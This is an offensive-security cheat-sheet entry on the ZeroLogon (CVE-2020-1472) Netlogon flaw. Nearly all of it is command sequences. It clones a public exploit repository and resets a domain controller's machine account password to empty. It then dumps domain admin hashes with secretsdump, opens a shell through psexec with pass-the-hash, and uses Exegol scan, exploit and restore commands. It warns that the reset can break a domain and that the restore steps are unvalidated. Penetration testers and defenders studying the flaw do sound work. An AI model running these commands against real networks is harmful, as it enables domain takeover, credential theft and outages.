ZeroLogon
Reset a domain controller machine account password to empty and recover domain admin credentials.
The sequence below resets a domain controller machine account password to empty, then dumps credentials with it.
Destructive: this historical path applies to susceptible, unpatched Netlogon implementations. Resetting a DC machine password can break domain operation. It is not a detection procedure; recovery must be prepared and validated.
Legacy exploitation and restoration examples
git clone https://github.com/risksense/zerologon/
cd zerologon
python3 set_empty_pw.py <netbios_dc_name> <dc_ip>
# secretsdump to retrieve a user hash
secretsdump -no-pass'<DOMAIN>/<DC NAME>$@<DC_IP>'
# Get a shell with a user
psexec.py -hashes :<nt_hash> <DOMAIN>/Administrator@<DC_IP>With Exegol, the vulnerability can be exploited more simply:
# Scan for the vulnerability
zerologon-scan 'DC_name' 'DC_IP_address'
# Exploit the vulnerability: set the machine account password to empty
zerologon-exploit 'DC_name' 'DC_IP_address'
# Obtain the Domain Admin's NT hash
secretsdump -no-pass 'Domain'/'DC_computer_account$'@'Domain_controller'
# Obtain the machine account hex encoded password with the domain admin credentials
secretsdump -hashes :'NThash' 'Domain'/'Domain_admin'@'Domain_controller'
# Restore the machine account password
zerologon-restore 'Domain'/'DC_account'@'Domain_controller' -target-ip 'DC_IP_address' -hexpass 'DC_hexpass'Provenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 marks DC password reset as destructive and corrects the empty-password description. Restoration sequence is not validated.
Also searched as: zerologon, zero logon, cve-2020-1472, compte machine, netlogon